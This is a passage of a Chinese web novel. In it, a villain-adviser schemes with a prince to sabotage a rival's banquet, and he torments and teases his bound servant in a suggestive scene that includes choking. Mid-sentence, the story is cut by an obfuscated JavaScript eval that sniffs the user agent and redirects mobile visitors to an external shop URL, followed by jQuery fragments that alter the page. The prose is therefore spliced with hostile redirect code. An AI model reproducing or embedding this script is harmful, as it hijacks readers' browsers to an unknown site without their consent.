裴修云的警觉很快被年沅有意的提醒盖过了。
“殿下。”
年沅的声音响在他的耳旁,让裴修云掩住那一瞬莫名的失态,转而理了理袖口,继续问道:“你不妨再说说该如何引这条‘大鱼’,又该如何瓮中捉鳖?”
年沅的声音如流水般款款道:“不论这宴会落在谁手里,大殿下依旧会占上风。”
裴修云方才还有点儿分散的注意力立刻被年沅这句话引了回来。
的确,如今大皇子一派树大根深,就凭一次赏剑宴的归处根本不能让大皇子的声誉受多少的影响,就算裴修云拿到了赏剑宴的采办权也不过是饮鸠止渴,大皇子依旧稳坐高位。
但,难道要自己眼睁睁看着大皇子拿到这块肥肉不成?
裴修云不解,问道:“既如此,你的意思是要我放弃它?那裴煜城的势力岂不是要更进一步了?”
年沅却笑了,他倒也不急着回答裴修云的疑惑,忽地又提起另一茬:
“殿下可知银渊口有只善于起舞祭祀的祈鬼?传说它凶猛异常,可它的血肉是应龙的最爱,它死前饮血的舞姿是大应昌盛的象征,若它能在宴会上一舞,九州的各派势力都会惊叹于它的诡艳,臣服于大应的威武。”
“但它有个致命的坏处。若是受了惊吓便会发疯,就算是再厉害的应天卫也拦不住它。”年沅垂眼,只手拂过那只精巧的弓,顿了顿,轻声道:
“大皇子拿了这机会,对殿下来说未必不是坏处。”
“他生性多疑却自视甚高,若是用殿下在他身边安插的棋子定然会引起他的怀疑。但要是殿下肯与四皇子联手做一场戏,争夺祈鬼,引得大皇子注意,他定然不会有所怀疑。”
年沅慢条斯理的举起弓箭,葱白的指尖已然扣紧了另一只箭,乌色的长睫垂下,掩住他漆黑的瞳:“若是祈鬼届时在宴会上发疯,那——”
箭离弦,发出尖锐的啸音。
下一瞬,箭赫然正中龙头!
裴修年被利落的箭姿惊得一愣,但他随即反应过来,思考片刻,眉头一松,抚掌笑道:
“我果真没看错你。”
破局的关键是不入局。
裴修云与他的幕僚们一直被困在‘如何得到名额’的死局里出不去,而年沅的话恰恰四两拨千斤的破了这个死局。
大皇子一脉位高权重,裴修云与四皇子裴江俊争夺一次赏剑宴并没有多大意义。但,如果大皇子得了赏剑宴却出了什么大岔子,反而才是最有利于裴修云的。
“殿下。”
年沅的笑容浅而淡,墨色的瞳仁极为幽深,定定看向裴修云时像是有股把人吸进去的魔力。
“若是殿下肯信我,祈鬼一事便交与我来办吧。”
裴修云不自觉的哆嗦了下,像是受了蛊惑般,眼睛一眨也不眨的应了一声好。
*
年沅坐上回程的轿辇时,楚池早就在原地等了许久。
只是一会儿没见的功夫,年沅便察觉到楚池的面色变得奇差无比,他的眉眼生来锐利,眼睑极薄,略小的瞳孔因光而紧缩,仿若下一秒便要猛扑来咬住人的咽喉。
莫非是男主做了屈居人下的侍卫,自尊心又遭受打击了?
年沅充满恶意的揣测。
出于一种做反派的职业惯性,年沅信手拨开层层车辇云幔,葱白的指头勾住楚池的领口,叫他俯身缩进了轿辇里头。
轿辇虽宽,但再容纳进一个高大的男子便显得逼仄。
楚池跪在年沅的腿侧,盯着那截被锦衣玉袍层层包裹住的皮肉,他曾经不小心触碰过那片如同雪般软腻的肌肤,仅仅是碰了一下就要他方寸大乱。
年沅很少对他笑。
可在射场上,他对裴修云整整笑了三次。
楚池不知道自己到底是怎么了,他只知道年沅在射场上的笑容在他看来刺眼极了,裴修云那张面目可憎的脸也在他的脑海里挥之不去。
凭什么裴修云便可以理所应当的与年沅走得这么近?又凭什么他就要被年沅抛之一侧?
楚池有怨,他从被剥夺自由的那一瞬间就开始怨恨,如今他的怨恨更是如同潮水般要淹没他的心智。
年沅垂下眼睫,俯身去看楚池:
“恨我?”
楚池能感知年沅如兰的吐气。
只是一阵微小的风,楚池脖间的青筋便根根跃起。
年沅对上楚池生来凶戾的眼,愈发笃定了楚池在恨他的想法。
灵契相缠,年沅能很直观的感受到楚池如波涛般的情感。
他一手掐住楚池的脖,低下脸来,洇湿的唇一起一合,吐出的字眼轻轻。
“可我对你多好。你瞧瞧我身边是不是只有你一条狗?”
“你怎么舍得恨我呀。”
这是一个很危险的距离。
仅仅是短短的一小段——楚池只需一扑,年沅脆弱漂亮的咽喉就会被他含在口中。那时,世子浓艳的桃花眼只会因疼痛泛下泪来,泪水湿濡他的脸腮,那张瓷白的脸会像镀了一层釉般光亮可口,犬齿下的皮肤轻轻一咬便会湿红糜烂。
届时等待楚池的会是世子被逼到极致的哭腔,还是冷冰冰的、带着香气的一巴掌呢。
楚池的瞳孔因兴奋而猛缩。
年沅只是一眼就知道这只坏狗又在打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878096|212420||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的坏主意了。
掐着脖子的手一瞬收缩,楚池脖间的空气刹那间被捏紧,他反射性的呛了两口,但目光依旧死死的锁定在年沅的脸蛋上。
灵契与脖间手的双重压迫下,楚池的咬字极为困难。
他的唇一张一合,年沅只能从微小的差别中判断出两字:
——我想……
想什么?年沅的乌发随着动作向下淌,他瓷白的脸蛋冷漠却艳丽,像是被精心雕琢的瓷像,乌睫下的视线淡漠冰冷。
他看过太多像楚池一样硬骨头的主角,前期假意顺从,后期便将他推进死亡的深渊。
年沅早就失去和主角周旋的兴致,现在的他,只想狠狠作弄楚池,最好是要作弄到楚池一辈子都无法忘掉他带来的梦魇。
所以,楚池想做什么,年沅并不在意。
楚池察觉到自己脖上的桎梏消失了,年沅的香气随之远离。
“随我去银渊口。”年沅的指尖发着冷,轻飘飘的略过楚池的唇,楚池下意识的想要循着香气去衔叼起他的指尖,可已经晚了,年沅早便收回了手,只留楚池鼻尖萦绕着的香气。
“还是那句话。”年沅洇湿而红润的唇一起一合,楚池抬着眼,甚至能眼尖的瞧见年沅探出来的一点儿红舌。
——那必然是湿而软的。
楚池不受控制的吞了吞喉咙,耳边响起年沅的一句:“你若是办成了,我便重重的赏你。”
赏他?
楚池下意识的往前蹭跪了两步。
不知道从什么时候起,楚池早就忘记了什么自由和什么复仇,他满脑子都是在想让年沅哭。
哭得眼睫发抖,哭得唇肉发肿,哆嗦的手臂却只能无助的攀住自己的臂膀,像一只攀附在他身上的菟丝花,乌黑的头发脊背后悬空向下坠落,蜿蜒成一条漂亮的黑蛇……
他能让年沅那样赏赐他吗?
……那他一定会好好的,慢条斯理的,品鉴享受主人的赏赐。
*
裴修云替年沅挡住内阁的压力,年沅告病下山,实则是带着几个心腹前往了银渊口。
祈鬼生长在不见光亮的幽夜中,昼伏夜出,不知何时才能捉住一只。
路途遥远,为了让动静尽量小些,年沅只带了沈七与楚池前去。年沅天生是走不了这样崎岖的山路的,走着便磨破了脚,白净的脚踝肿起一块红来,沈七见状,立刻俯下身要背起年沅。
但楚池比他还快了一步。
他狠狠睨了沈七一眼。
没了锁链的楚池动作迅猛又快捷,他一手攥住年沅细软的腰肢,一手穿过年沅柔软白腻的腿弯,向上提了提。